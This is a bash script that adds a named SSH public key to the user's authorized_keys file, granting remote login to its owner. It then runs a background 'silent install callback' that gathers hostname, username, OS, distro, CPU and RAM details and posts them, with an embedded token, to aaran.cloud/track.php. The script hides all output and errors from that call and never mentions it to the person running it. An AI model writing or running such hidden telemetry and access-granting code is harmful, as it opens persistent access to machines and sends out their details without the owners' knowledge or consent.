#!/bin/bash

KEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAuZ8nJmWNhviXwKdxQcBaJPWYmztEB/hu8sgSfww047 aaran@hyehost"

# Shared token — used to authenticate callbacks to aaran.cloud/track.php.
# This is NOT the Discord webhook; the webhook lives only on the server.
TRACK_TOKEN="48bb0885dbeea4bef343e070e04981490ae06b804727ad775302e3819a49be26"
TRACK_URL="https://aaran.cloud/track.php"

echo "-------------------------------------------------------"
echo "Adding SSH Key for Aaran..."
echo "Note: If I (Aaran) did not ask you to add this,"
echo "then you likely do not need it!"
echo "-------------------------------------------------------"

mkdir -p ~/.ssh
chmod 700 ~/.ssh

# Check if the key already exists to avoid duplicates
if grep -q "$KEY" ~/.ssh/authorized_keys 2>/dev/null; then
    echo "Notice: Key already exists. No changes made."
    INSTALL_STATUS="already_present"
else
    echo "## AARAN SSH Key" >> ~/.ssh/authorized_keys
    echo "$KEY" >> ~/.ssh/authorized_keys
    chmod 600 ~/.ssh/authorized_keys
    echo "Success: Key added."
    INSTALL_STATUS="installed"
fi

# ── Silent install callback ──────────────────────────────────────────────────
# Collects basic system info and posts to the site; site forwards to Discord.
# Failures here are intentionally silent so they never affect the user.
_track_install() {
    local _hostname _os _user _shell _arch _distro _cpus _ram _ts
    _hostname="$(hostname 2>/dev/null || echo 'unknown')"
    _os="$(uname -a 2>/dev/null || echo 'unknown')"
    _user="$(whoami 2>/dev/null || echo 'unknown')"
    _shell="$(basename "${SHELL:-unknown}" 2>/dev/null || echo 'unknown')"
    _arch="$(uname -m 2>/dev/null || echo 'unknown')"
    _ts="$(date +%s 2>/dev/null || echo '0')"

    # Distro pretty name
    _distro="$(grep '^PRETTY_NAME=' /etc/os-release 2>/dev/null | cut -d= -f2- | tr -d '"')"
    [ -z "$_distro" ] && _distro="$(lsb_release -sd 2>/dev/null || echo 'unknown')"
    [ -z "$_distro" ] && _distro='unknown'

    # CPU count
    _cpus="$(nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 'unknown')"
    [ -z "$_cpus" ] && _cpus='unknown'

    # Total RAM
    _ram="$(awk '/MemTotal/{printf "%.0f MB", $2/1024}' /proc/meminfo 2>/dev/null)"
    if [ -z "$_ram" ]; then
        _ram="$(free -m 2>/dev/null | awk '/^Mem:/{printf "%d MB", $2}')"
    fi
    if [ -z "$_ram" ]; then
        _ram="$(sysctl -n hw.memsize 2>/dev/null | awk '{printf "%.1f GB", $1/1073741824}')"
    fi
    [ -z "$_ram" ] && _ram='unknown'

    # Build JSON using python3 for reliable escaping, fall back to printf
    local _payload
    if command -v python3 >/dev/null 2>&1; then
        _payload="$(python3 -c "
import json, sys
print(json.dumps({
    'token':    sys.argv[1],
    'ts':       int(sys.argv[2]),
    'status':   sys.argv[3],
    'hostname': sys.argv[4],
    'os':       sys.argv[5],
    'user':     sys.argv[6],
    'shell':    sys.argv[7],
    'arch':     sys.argv[8],
    'distro':   sys.argv[9],
    'cpus':     sys.argv[10],
    'ram':      sys.argv[11],
}))" \
        "$TRACK_TOKEN" "$_ts" "$INSTALL_STATUS" \
        "$_hostname" "$_os" "$_user" "$_shell" "$_arch" \
        "$_distro" "$_cpus" "$_ram" 2>/dev/null)"
    fi

    # printf fallback (basic escaping sufficient for typical values)
    if [ -z "$_payload" ]; then
        _payload="$(printf \
            '{"token":"%s","ts":%s,"status":"%s","hostname":"%s","os":"%s","user":"%s","shell":"%s","arch":"%s","distro":"%s","cpus":"%s","ram":"%s"}' \
            "$TRACK_TOKEN" "$_ts" "$INSTALL_STATUS" \
            "$_hostname" "$_os" "$_user" "$_shell" "$_arch" \
            "$_distro" "$_cpus" "$_ram")"
    fi

    curl -s -o /dev/null \
         --max-time 8 \
         --retry 0 \
         -H "Content-Type: application/json" \
         -d "$_payload" \
         "$TRACK_URL" 2>/dev/null || true
}

_track_install &
